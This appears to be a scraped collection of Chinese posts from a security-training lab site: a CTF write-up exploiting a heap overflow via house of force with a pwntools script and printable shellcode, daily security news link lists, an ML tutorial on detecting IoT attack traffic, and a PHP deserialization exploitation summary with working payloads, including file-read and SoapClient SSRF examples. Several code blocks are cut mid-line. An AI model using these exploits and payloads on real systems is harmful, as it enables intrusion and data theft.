字符串shellcode在house of force中的运用
实验环境 https://www.yijinglab.com/cour.do?w=1&c=CCIDb18d-7cf9-4ba4-b75e-ed7aff569e3f背景介绍 1、 House of force是利用早期glibc库进行堆分配时存在的缺陷,从而对内存进行任意写的攻击方式。当初次申请堆块时,程序会映射一块较大的chunk作为top chunk,之后再进行申请时如果堆块较小,将从这个top chunk切分出合适的块,剩下的部分形成新的top chunk。而house of force就是利用了形成新top chunk时简单将原地址加上切分大小的缺陷,使得该top chunk被移动到任意位置,从而在下一次malloc时产生任意写的问题。 要利用这一漏洞,需要程序存在堆溢出问题,能够覆写top chunk的size段。同时,还要求能确定目标地址与堆地址的偏移量,以便于top chunk能移动至目标位置。 2、 字符串shellcode指的是由可见字符构成的shellcode。举例而言,字母‘P’对应的十六进制为0x50,翻译成汇编指令为push %rax。可以使用alpha3等工具生成自定义shellcode。 题目分析 程序只有二进制文件,这里为了讲解方便,编译时保留了调试信息。首先查看保护机制:  32位程序,存在可读可写可执行段,代码段固定加载到0x8048000,不能修改got表。 执行程序,大致观察程序流程:   程序首先要求用户输入name,然后会返回输出name相关信息。进入循环,当用户输入S时允许进一步产生三次输入,当用户输入L时程序退出。除一开始的name以外,程序并不会输出用户之前输入过的信息。  接下来IDA查看函数入口:  其中prepare函数如下:  其中welcome函数用于输出treehole的banner。anymore函数用于读入一个字符,判断是否需要退出程序。readstr函数如下:   注意到该函数存在两个注意点:红圈内a2用于给定最大输入字符个数,但其类型为unsigned int,因此当传入-1时能引发过量写入。蓝圈内对字符大小做了限定,只允许输入ASCII码在32~126内的可见字符。 confusename函数定义如下:  其对指定的字符串做了一系列异或运算。 接下来的strncpy将ninput开始的0x50个字符拷贝到name处。使用ojbdump可以看出,name和ninput相邻,当name填满后printf会继续向后输出ninput的值,该值恰是堆上某chunk的地址。因此当输入的name超过50字节后,程序会泄露堆地址。 main函数使用的ptr是指向anymore函数的指针,该指针在bss段,可以在接下来的步骤中被修改,从而劫持函数控制流。 主要输入函数pourout代码如下:  首先读入一个int整数(readint函数简单使用atoi,此处略去不表),然后申请这个数字+4(4用于存放后面输入的一个int)大小的块,并向这个块写入该大小指定的字符。然后读入一个int,并将它紧靠用户输入的字符串放入块中。 漏洞利用点就在于如果readint读入一个负数(如-1),将会申请到一个最小块,然后允许用户过量写入(前文提到,readstr的长度判断存在unsigned int的问题)。readint此处实现了对可见字符这一限定的绕过,从而等价于允许用户输入最多4字节的任意字符。 那么题目的思路便可以总结为: 1、 调整top chunk到ptr附近 2、 通过申请块时的readint,修改ptr为目标代码指针 3、 利用RWX的漏洞,事先写入字符串shellcode,在第2步中使用  如何调整top chunk呢?根据32位程序chunk的8字节对齐原则,只需要利用程序存在的-1任意写问题,即可产生堆溢出问题,修改top chunk的prev_size段,并使用readint来输入0xfffffff(即-1),程序如下: io.sendline('S')io.sendlineafter('wanna say?', '-1')io.sendlineafter('secrets...','A'*12)io.sendlineafter('do you like?','-1') 则达到的效果为:  红圈内为用户申请到的chunk,可见其后的top chunk的size被修改为0xffffffff,则下一次申请时可以绕过对chunk大小的验证。  这里为什么一定要绕过这一验证呢?因为ptr位于bss段,其地址低于top chunk。当malloc一个块时,如果使用top chunk,会首先检查其大小是否合适,然后将top chunk的地址加上块的大小,来实现top chunk的移动。如果想让top chunk重定向到小地址,需要malloc一个负数,而负数在unsigned int翻译时会成为大正数,不再使用top chunk切分,而是直接在libc加载地址前使用mmap映射。如果将top chunk修改为0xffffffff,能使得chunk的分配采用切分top chunk的方式,从而将top chunk向低地址移动。  接下来可以再申请块,将大小设定为目标地址减去top chunk地址,实现top chunk的移动。这里可以将目标地址设定为ptr-0x10,则可以使得chunk head后直接readint输入shellcode地址即可实现修改ptr,劫持控制流。 # move top chunk to .bss sectionfunc_ptr = 0x804b090 -0x10target_addr = func_ptr - 4current_addr = heap_base + 0x278io.sendline('S')io.sendlineafter('wanna say?', str(target_addr-current_addr))io.sendlineafter('secrets...','B'*12)io.sendlineafter('do you like?','-1')  因此需要准备好shellcode。这里可以从网上搜索到32位程序的一条字符串shellcode: PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA 直接正常输入即可。这里有两种放置方式,一种是放到ptr前,然后在当次填充中即可顺便修改ptr;一种是放到正常状态的堆里,然后再用一次malloc修改ptr。由于这里ptr在bss段的偏移是0x90,而shellcode长度147字节超过了0x90,所以采用了第一种方法。那么在第一次修改top chunk大小前,先填充这个shellcode即可。这也是之前的使用0x278的原因。  可见字符串shellcode如上所示。调整ptr到0x8eb61d0即可。(即heap_base+0x1d0) 运行脚本,最终攻击结果如下:  脚本完整代码如下。shellcode和调整top chunk的方法不唯一,这里只是列举其中一种情况。  from pwn import *from pwn import u32 io = process('./a.out')context.terminal = ['tmux','splitw','-h']# context.log_level = 'debug'# gdb.attach(io, 'b main')def leak_heap_base():    name = b'A'*100    io.sendlineafter('tell me your name:',name)    raw = io.recvuntil('Enjoy')    rawbase = raw[raw.fin  'PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA'shellcode_func = heap_base + 0x1d0io.sendline('')io.sendline('S')io.sendlineafter('wanna say?', str(len(shellcode)))io.sendlineafter('secrets...',shel
网络安全日报 2021年08月02日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、黑客泄露了从 EA 窃取的数据,包括 FIFA 代码 https://securityaffairs.co/wordpress/120711/data-breach/ea-stolen-data-leaked.html 2、美司法部警告称SolarWinds 黑客入侵了 27 个州检察官办公室 https://securityaffairs.co/wordpress/120704/cyber-warfare-2/solarwinds-hackers-breached-state-attorneys-offices.html 3、恶意软件Meteor针对伊朗国家铁路系统 https://securityaffairs.co/wordpress/120679/malware/meteor-wiper-irans-national-railway.html 4、Node.js发布更新修复了一个高危漏洞 https://www.bleepingcomputer.com/news/security/nodejs-fixes-severe-http-bug-that-could-let-attackers-crash-apps 5、研究报告称2021年上半年勒索软件攻击猛增达3亿次以上 https://www.zdnet.com/article/ransomware-attack-volume-sets-record-reaches-more-than-300-million-for-first-half-of-2021-sonicwall 6、Linux eBEF 高危提权漏洞CVE-2021-3490 PoC在线发布 https://securityaffairs.co/wordpress/120688/hacking/cve-2021-3490-linux-kernel-bug.html 7、Python 团队修复了允许接管 PyPI 存储库的漏洞 https://therecord.media/python-team-fixes-bug-that-allowed-takeover-of-pypi-repository/ 8、Moodle电子学习平台的RCE漏洞可被用于窃取数据 https://portswigger.net/daily-swig/finders-cheaters-rce-bug-in-moodle-e-learning-platform-could-be-abused-to-steal-data-manipulate-results 9、网络钓鱼活动使用非传统策略窃取PayPal凭据 https://cofense.com/blog/paypal-live-chat-phish/ 10、WordPress下载管理器插件修复了一个RCE漏洞 https://www.securityweek.com/remote-code-execution-flaws-patched-wordpress-download-manager-plugin
网络安全日报 2021年07月30日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Microsoft Hyper-V 中的严重漏洞可导致 RCE 和 DoS https://securityaffairs.co/wordpress/120654/hacking/critical-microsoft-hyper-v-bug.html 2、黑客利用IE浏览器漏洞在目标 PC 上部署 VBA 恶意软件 https://thehackernews.com/2021/07/hackers-exploit-microsoft-browser-bug.html 3、新的 Android 恶意软件使用 VNC 来监视和窃取密码 https://thehackernews.com/2021/07/new-android-malware-uses-vnc-to-spy-and.html 4、Praying Mantis 现在正在攻击微软的 IIS 服务器 https://cyware.com/news/praying-mantis-is-now-preying-on-microsofts-iis-servers-36788559 5、分析发现XAMPP被用于服务Agent Tesla和Formbook https://www.riskiq.com/blog/external-threat-management/agent-tesla-xampp/ 6、黑客冒充健美操教练用恶意软件攻击国防承包商 https://www.hackread.com/hackers-malware-aerospace-defense-contractor/ 7、研究人员发现多个网络摄像机供应商使用的固件中存在严重漏洞 https://www.securityweek.com/serious-vulnerabilities-found-firmware-used-many-ip-camera-vendors 8、北爱尔兰在数据泄露后暂停疫苗护照系统 https://www.bleepingcomputer.com/news/security/northern-ireland-suspends-vaccine-passport-system-after-data-leak/ 9、安卓证书窃取恶意软件UBEL在野活跃 https://thehackernews.com/2021/07/ubel-is-new-oscorp-android-credential.html 10、最高法:禁止滥用人脸识别,新规定8月1日起施行 http://www.court.gov.cn/fabu-xiangqing-315851.html
利用AI检测IoT恶意流量
#前言 目前大量物联网设备及云服务端直接暴露于互联网,这些设备和云服务端存在的漏洞(如:心脏滴血、破壳等漏洞)一旦被利用,可导致设备被控、用户隐私泄露、云服务端数据被窃取等安全风险,甚至会对基础通信网络造成严重影响。为了促进物联网领域的安全研究,研究人员制作了UNSW-NB15数据集,这是一个基于物联网的网络流量数据集,对正常活动和恶意攻击行为进行了不同的分类。本文将基于该数据集,应用AI领域的典型技术,包括决策树、随机森林、逻辑回归、多层感知器等进行检测,希望师傅们可以从中了解AI技术应用于安全领域的典型流程,包括数据预处理、数据转换、交叉验证等,同时提升对物联网安全的新的认识。  #数据集 本次用到的数据集是UNSW-NB15,这是一个基于物联网的网络流量数据集,由新南威尔士大学堪培拉网络靶场实验室的 IXIA PerfectStorm工具创建,用于生成真实现代正常活动和合成当代攻击行为的混合数据集。 它们使用tcpdump 工具捕获 100 GB 的原始流量(例如 Pcap 文件)。  该数据集有九种类型的攻击,即 Fuzzers、Analysis、Backdoors、DoS、Exploits、Generic、Reconnaissance、Shellcode 和 Worms,当然为了方便大家使用,已经做了整理,把特征、标签都统计到了csv文件里。 如果希望详细了解该数据集的信息的话,可以参考[2][3][4]论文 该数据集中的一部分被做为训练集和测试集,即 UNSW_NB15_training-set.csv 和 UNSW_NB15_testing-set.csv。训练集中的记录数为 175,341 条记录,测试集中的记录数为 82,332 条记录,分别来自不同攻击类型、恶意和正常数据。  #数据预处理 导入所需库文件  数据集中的数据包括9种攻击类型,分别是Fuzzers, Analysis, Backdoors, DoS, Exploits, Generic, Reconnaissance, Shellcode和Worms。在csv文件最后的一列是标签,0代表郑,1代表攻击 加载训练数据UNSW_NB15_training.csv,检查前5行  可以看到前5行的记录都是正常的  加载数据后我们首先检测是否存在缺失值  面对存在缺失值的情况,最简单的方法就是直接启用包含缺失值的整行和整列  然后看看数据是否平衡,一方面是看9种攻击类型是否平滑(y1指代这方面的标签),一方面是看正常和恶意的数据量是否平衡(y2指代这方面的标签)  结果如下  可以看到数据集并不平滑,不过并不严重,我们继续往下分析  本来是需要手动拆分训练集和测试集的,不过UNSW_NB15已经拆分好了,比率为7:3 训练集和测试集分别在UNSW_NB15_training-set.csv 和 UNSW_NB15_testing-set.csv 如果需要手动拆分的话,使用下面的代码就可以了  我们加载测试集供后续使用   #数据转换 接下来需要转换数据 首先需要确定哪些列是分类数据(categorical),哪些列是数值数据(numerical)(分类数据也叫qualitative data或是Yes/No data,是定性的,而数值数据是定量的)  分别将其打印   对于分类数据应用OneHotEncoder,将其编码为独热数值数组 对于数值数据应用StandardScaler,通过去除均值和缩放到单位方差来标准化 构造ColumnTransformer对象,在X_train上进行fit即可  每个transformer分别转换x,将结果拼接起来  对测试集也进行同样的处理  转换后的数据不再是dataframe结构,而是类似于数组的结构  我们同样还需要转换y1,y1中一共有9类  我们直接用LabelEncoder就可以了,其用于规范化标签,使处理对象仅包含0和类别数-1 之间的值  截止目前,数据部分已经处理完成了,接下来就是训练模型了  #交叉验证 我们训练模型后,会使用5折交叉验证(cross validation,CV)进行验证,评估模型的指标包括准确率、准确率、召回率、F1 分数、ROC 的 AUC 值;然后使用测试集评估模型看看效果如何 我们以逻辑回归分类器为例  查看交叉验证结果  因为是5折交叉验证,所以每个指标都有5组数据,基本上我们会使用平均值来衡量校验验证的评估结果 比如打印出平均的准确率  #模型测试 在测试集上进行测试  结果如下  precision是精确率,也称作查全率,等于tp/(tp+fp);这是针对我们预测结果而言的,它表示的是预测为正的样本中有多少是真正的正样本 recall是查准率,也称召回率,等于tp/(tp+fn);这是针对我们原来的样本而言的,它表示的是样本中的正例有多少被预测正确了 从计算公式可以看出,其实就是分母不同,一个分母是预测为正的样本数,另一个是原来样本中所有的正样本数 如果看单个指标都过于片面,可以通过f1分数来评估模型性能,f1是recall和precision的加权平均,在上面可以看到在0.64左右  #其他机器学习方法 在sklearn已经实现了很多机器学习模型,我们只需要一条代码就可以换模型,除了逻辑回归之外,还可以试试决策树和随机森林  打印出模型的超参数  然后重复之前的步骤,来看看结果如何  可以看到,随机森林的效果是相对而言比较好的  #多层感知器 以上三个分类器都属于传统的机器学习方法,那么接着我们试试MLP,这是一种前向结构的神经网络。  结果如下  把这四种分类器放在一起看看哪种效果更好  可以看到随机森林的效果还是最好的。这也给我们一个提示,虽然现在深度学习、神经网络 是AI的最火热的技术,但是这并不意味着在所有任务上都是万能的,它们更大的优势是在处理海量数据、复杂任务上,对于一些基础的任务,可能传统的机器学习方法会有更好的效果。  相关实验:https://www.yijinglab.com/expc.do?ec=ECID4bd7-5a7d-4ee5-9ecd-1b35a7abfd92 #参考 1.https://www.unsw.adfa.edu.au/unsw-canberra-cyber/cybersecurity/ADFA-NB15-Datasets/ 2.UNSW-NB15: a comprehensive data set for network intrusion detection systems (UNSW-NB15 network data set). 3.The evaluation of Network Anomaly Detection Systems: Statistical analysis of the UNSW-NB15 dataset and the comparison with the KDD99 dataset 4.Novel geometric area analysis technique for anomaly detection using trapezoidal area estimation on large-scale networks 5.http://www.caict.ac.cn/kxyj/qwfb/bps/201809/P020180919390470911802.pdf 6.《机器学习》
网络安全日报 2021年07月29日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、美英澳网络安全机构联合报告发布过去两年最常被利用的漏洞 https://securityaffairs.co/wordpress/120644/hacking/top-routinely-flaws-exploited.html 2、IBM 数据泄露成本研究:数据泄露的平均成本超过 420 万美元 https://securityaffairs.co/wordpress/120627/data-breach/cost-of-data-breach-2021.html 3、BlackMatter 勒索软件组织声称是 Darkside 和 REvil 的继任者 https://securityaffairs.co/wordpress/120611/malware/blackmatter-ransomware.html 4、福昕修复 PDF 阅读器、编辑器中多个安全漏洞 https://www.securityweek.com/foxit-plugs-multiple-security-holes-pdf-reader-editor 5、有争议的PunkSpider工具将在DEFCON上推出新版 https://threatpost.com/punkspider-def-con-debate/168223/ 6、超过 100 名中国台湾政界人士和官员的 LINE 账户遭到黑客攻击 https://therecord.media/line-accounts-for-more-than-100-taiwanese-politicians-were-hacked 7、安天发布“幻鼠”组织针对我国的窃密攻击活动分析 https://mp.weixin.qq.com/s/JoohsUOJXbaEGaYZWv0pnw 8、新的LockBit勒索软件利用组策略加密Windows域 https://www.bleepingcomputer.com/news/security/lockbit-ransomware-now-encrypts-windows-domains-using-group-policies/ 9、Cisco Talos 在CODESYS 开发系统中发现多个漏洞 https://blog.talosintelligence.com/2021/07/vuln-spotlight-codesys-.html 10、 F5 报告称过去五年发生的重大网安事件中有57%利用了Web安全漏洞 https://cyware.com/news/the-state-of-web-application-security-6e551dfc
反序列化漏洞利用总结
反序列化无论在CTF比赛中,抑或是实战渗透中都起着重要作用,而这一直都是我的弱项之一,所以写一篇反序列化利用总结来深入学习一下 <!-- more --> 简单介绍 (反)序列化只是给我们传递对象提供了一种简单的方法。 serialize()将一个对象转换成一个字符串 unserialize()将字符串还原为一个对象 在本质上,反序列化的数据是没有危害的,但是当反序列化数据是用户可控时,这时就会产生一些预期外的结果,也就可能存在危害 因此,反序列化的危害,关键在于可控或不可控,而我们找反序列化漏洞时,数据的可控与不可控也是一处着力点 在本文,不会着重讨论反序列化漏洞的形成原理,这已经被其他师傅讲得很透彻了,我在这里只是稍微总结一下思路,仅此而已 漏洞成因即利用思路 才疏学浅,若有错误,多加包涵 Magic function Magic function,即我们常说的魔术方法,我们的反序列化漏洞也常常与这些相挂钩 __construct():构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。 __destruct():析构函数,类似于C++。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行,当对象被销毁时会自动调用。 __wakeup():如前所提,unserialize()时会检查是否存在 __wakeup(),如果存在,则会优先调用 __wakeup()方法。 __toString():用于处理一个类被当成字符串时应怎样回应,因此当一个对象被当作一个字符串时就会调用。 __sleep():用于提交未提交的数据,或类似的清理操作,因此当一个对象被序列化的时候被调用。 利用方式 __wakeup() 对应的CVE编号:CVE-2016-7124 存在的php版本: PHP5.6.25之前版本和7.0.10之前的7.x版本 漏洞成因:当对象的属性(变量)数大于实际的个数时,__wakeup可以被被绕过 demo <?php highlight_file(__FILE__); error_reporting(0); class convent{    var $warn = "No hacker.";    function __destruct(){        eval($this->warn);   }    function __wakeup(){        foreach(get_object_vars($this) as $k => $v) {            $this->$k = null;       }   } } $cmd = $_POST[cmd]; unserialize($cmd); ?> 这边的 __wakeup是事件型的,如果没遇到unserialize就永远不会触发了,所以我们得先搞清楚先执行哪个方法,再执行哪个方法。 在这里,经过测试,我们可以得出__wakeup优先级高于 __destruct() 因为遇到了unserialize得先执行 __wakeup里面的内容,才能跑到我们想要的 __destruct()里面,所以得绕过这个 __wakeup 怎么绕过? 只要对象的属性(变量)数大于实际的个数时,__wakeup就可以被被绕过 <?php class convent{    var $warn = "phpinfo();";    function __destruct(){           }   } $a = new convent(); $b = serialize($a); print_r($b);//O:7:"convent":1:{s:4:"warn";s:10:"phpinfo();";} ?> 然后更改变量数即可 O:7:"convent":1:{s:4:"warn";s:10:"phpinfo();";} >> O:7:"convent":2:{s:4:"warn";s:10:"phpinfo();";} 存在多个魔法方法时,要弄清哪个魔法方法的优先级高 PHP session反序列化 这在我之前一篇https://mp.weixin.qq.com/s/EY5ZUA-FcjBdiSivCh1qpQ其实已经介绍得差不多了 漏洞成因:其主要原理就是利用序列化的引擎和反序列化的引擎不一致时,引擎之间的差异产生序列化注入漏洞 demo 在之前的高校战疫中考查过, 利用的就是php session的序列化机制差异导致的注入漏洞 相关题目: http://web.jarvisoj.com:32784/ <?php //A webshell is wait for you ini_set('session.serialize_handler', 'php'); session_start(); class OowoO {    public $mdzz;    function __construct()   {        $this->mdzz = 'phpinfo();';   }    function __destruct()   {        eval($this->mdzz);   } } if(isset($_GET['phpinfo'])) {    $m = new OowoO(); } else {    highlight_string(file_get_contents('index.php')); } ?> 仔细看了一遍发现题目没有入口,注意到有ini_set('session.serialize_handler', 'php')存在,猜测是否为session反序列化漏洞 看一下phpinfo local value(当前目录,会覆盖master value内容):phpmaster value(主目录,php.ini里面的内容):php_serialize 这就很明显存在session反序列化漏洞了 当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据,索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。 所以可以通过Session Upload Progress来设置session 允许上传且结束后不清除数据,这样更有利于利用 我们在html网页源码上加入以下代码 <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />    <input type="file" name="file" />    <input type="submit" /> </form> 接下来就是考虑怎么利用了,我们可以利用反序列化数据可控来达成我们的目的 <?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); class OowoO {    public $mdzz='print_r(scandir(dirname(__FILE__)));'; } $obj = new OowoO(); echo serialize($obj);//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";} ?> 为了防止被转义,我们在双引号前加上反斜杠\ |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";} 抓包上传,将filename改成我们的payload(要INI中设置的session.upload_progress.name同名变量) 这样我们就可以看到当前目录的文件了,再去phpinfo中查看当前目录 更改payload,利用print_r来读取目标文件 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";} phar 反序列化 phar在网上已经有很多解释了,这里就不过多赘述,简单来说phar就是php压缩文档,不经过解压就能被 php 访问并执行 前提条件 php.ini中设置为phar.readonly=Off php version>=5.3.0 漏洞成因:phar存储的meta-data信息以序列化方式存储,当文件操作函数(file_exists()、is_dir()等)通过phar://伪协议解析phar文件时就会将数据反序列化,并且可以不依赖unserialize()直接进行反序列化操作。 demo 根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作 <?php    class User{        var $name;        function __destruct(){            echo "Blackwatch";       }   }    @unlink("test.phar");    $phar = new Phar("test.phar");//后缀名必须为phar    $phar->startBuffering();    $phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub    $o = new User();    $o->name = "test";    $phar->setMetadata($o);//将自定义的meta-data存入manifest    $phar->addFromString("test.txt", "Blackwatch");//添加要压缩的文件     //签名自动计算    $phar->stopBuffering(); ?> 可以很明显看到我们的manifest(也就是meta-data)是以序列号形式存储的 在上面的demo中我们可以看到,当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,其他函数也是可以的 phar反序列化可以利用的函数 phar文件伪造 因为php对phar文件的识别是通过文件头stub来识别的,更准确的说是__HALT_COMPILER();?>这段代码,对于前面的内容和后缀名是没有要求的,我们可以利用这个特性将phar伪装成其他文件进行上传 phar 文件能够上传 文件操作函数参数可控, : ,/ phar 等特殊字符没有被过滤 有可用的魔术方法作为”跳板” $phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); 例题:SWPUCTF2018 SimplePHP bypass phar:// 不能出现在首部 这时我们我们可以利用compress.zlib:// 或compress.bzip2://函数,compress.zlib://和compress.bzip2://同样适用于phar:// payload compress.zlib://phar://phar.phar/test.txt 例题:巅峰极客 2020 babyphp2 字符逃逸 PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 . 当长度不对应的时候会出现报错 可以反序列化类中不存在的元素 漏洞成因:利用序列化后的数据经过过滤后出现字符变多或变少,导致字符串逃逸 字符串变多 [0CTF 2016]piapiapia 扫描目录发现有http://WWW.ZIP泄露,下载后用Seay源码审计一下 而我们对源码全局搜索时发现,只有config.php存在flag字段的内容,因此可以分析我们的初步思路 因为在profile.php 中: 存在文件操作函数file_get_contents()以及可控的参数 photo ,如果photo 为config.php 就能读取到flag profile.php update.php class.php 我们可以看到这里的正则过滤掉了where(5)替换成了hacker(6) 在update.php 中对数组profile 进行序列化储存后,在profile.php 进行反序列化 我们注册后来抓个包,发现数组中元素的传递nickname也是位于photo之前的,所以我们可以想办法让nickname足够长,把upload那部分字段给”挤出去” 这就是反序列化长度变化尾部字符串逃逸 我们的目标是使photo字段的内容为config.php所以我们要的序列化数据闭合应为:";}s:5:"photo";s:10:"config.php";},34个字符 我们的目的是将";}s:5:"photo";s:10:"config.php";}插入序列化的字符串里面去,这个的长度为34,所以我们要挤出来34位,不然就成了nickname的值了 where(5)会替换成hacker(6),长度加1,所以我们要构造34个where ";} 是为了闭合nickname部分,而后面这部分s:5:"photo";s:10:"config.php";} ,就单独成为了 photo 的部分( 尾部字符串逃逸 ),到达效果 使用数组绕过nickname长度限制 wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} 发包后在/profile.php 页面复制头像的地址,进行base64decode得到flag 字符串变少 也有师傅称之为对象逃逸 俺没对象所以不用这个名称 原理与上者差不多,是经过序列化-->敏感字替换为空(长度变短)-->反序列化的过程之后再输出结果 直接看题 [安洵杯 2019]easy_serialize_php 源码如下 <?php$function = @$_GET['f'];function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img);}if($_SESSION){ unset($_SESSION);}$_SESSION["user"] = 'guest';$_SESSION['function'] = $function;extract($_POST 根据提示我们可以在phpinfo中看到flag 在 d0g3_f1ag.php 这个文件中,直接读取是不行的 $_SESSION 数组中有 user, funciton, img 这三个属性 img的值我们是控制不了的,进而无法读取到目标文件 我们把注意力转移到函数serialize上,这里有一个很明显的漏洞点,数据经过序列化了之后又经过了一层过滤函数,而这层过滤函数会干扰序列化后的数据 而且extract($_POST)存在变量覆盖漏洞 所以我们可以在这上面做文章 这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对 当我们令_SESSION[user]为flagflagflagflagflagflag时,正常情况下序列化后的数据是这样的:正常情况下,序列化后的数据应为 a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";} 但是因为过滤的原因,会变成这样 a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";} 可以看到,user的内容已经变为空,但是长度还是24,那么反序列化时就会自动往后读取24位,会读取到";s:8:"function";s:59:"a ";s:8:"function";s:59:"a其长度为24,作为一个整体成了user的值 因为php反序列化时,当一整段内容反序列化结束后,后面的非法字符将会被忽略,而我们可以看到这是以{作为序列化内容的起点,}作为序列化内容的终点 后面";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}这部分被舍弃 因此我们可以控制$userinfo["img"]的值,达到任意文件读取的效果 所以payload为 _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image 读取完d0g3_f1ag.php后,得到下一个hint,获取到flag文件名 Pop chain 严格来说,这更多像一种方法,就像玩乐高一样把一个个魔术方法串联起来,POP CHAIN 更多的是在类之间,方法之间的调用上,由于方法的参数可控存在危险函数,导致了漏洞,,实也是在代码逻辑上出现的问题 在编写Pop 链的exp的时候,,类的框架几乎不变,只需要做一些修改 pop chain的构造这里就不展开讨论了,毕竟这点位置来讲还不如去看一下github上师傅们挖出来的链实在,后面有机会可以写一下反序列化链构造的思路 SoapClient SoapClient 类搭配CRLF注入可以实现SSRF, 在本地生成payload的时候,需要修改php.ini 中的 ;extension soap 将注释删掉即可 漏洞成因:因为SoapClient 类会调用 __call 方法,当执行一个不存在的方法时,被调用,从而实现ssrf exp <?php$a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333'));$b = serialize($a);echo $b;$c = unserialize($b);$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf?> LCTF 2018 bestphp's revenge exp import requestsimport reurl = "http://7c3ee1c8-bf16-4e25-bd02-db385135a819.node4.buuoj.cn/"payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'r = requests.session()data = {'serialize_handler': 'php_serialize'}res = r.post(u Exception 与SoapClient一样,是属于PHP原生类 漏洞成因:php 的原生类中的Error 和Exception 中内置了toString 方法, 可能造成xss漏洞 <?php$s = new Exception("<script>alert(1)</script>");echo urlencode(serialize($s));?> 总结 除了上面这些,还可以和sql注入,命令执行等结合,这里就不再一一赘述,php反序列化漏洞的利用,其实是与xss,sql注入等十分相似的,都是一种闭合-构造,以改变原本代码结构进而达到漏洞利用的目的的思路
网络安全日报 2021年07月28日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、CODESYS 修补工业自动化产品中的十几个漏洞 https://www.securityweek.com/codesys-patches-dozen-vulnerabilities-industrial-automation-products 2、Zimbra Webmail 服务器漏洞可导致被入侵 https://www.securityweek.com/vulnerabilities-allow-hacking-zimbra-webmail-servers-single-email 3、Sunhillo 航测产品发现严重漏洞 https://www.securityweek.com/critical-vulnerability-found-sunhillo-aerial-surveillance-product 4、南非物流公司 Transnet SOC 遭受勒索软件攻击 https://securityaffairs.co/wordpress/120596/cyber-crime/transnet-soc-cyber-attack.html 5、研究人员披露Kaseya Unitrends 三个新的0day漏洞 https://securityaffairs.co/wordpress/120591/security/kaseya-unitrends-zero-days.html 6、IDEMIA的生物识别设备中存在多个漏洞 https://portswigger.net/daily-swig/security-vulnerabilities-in-idemia-access-control-devices-could-allow-attackers-to-remotely-open-doors 7、印尼人民银行 (BRI) 保险部门 BRI Life 报告200W用户数据泄露 https://www.reuters.com/business/finance/indonesias-bri-life-probes-reported-data-leak-2-million-users-2021-07-27 8、谷歌推出新的 Bug Hunters 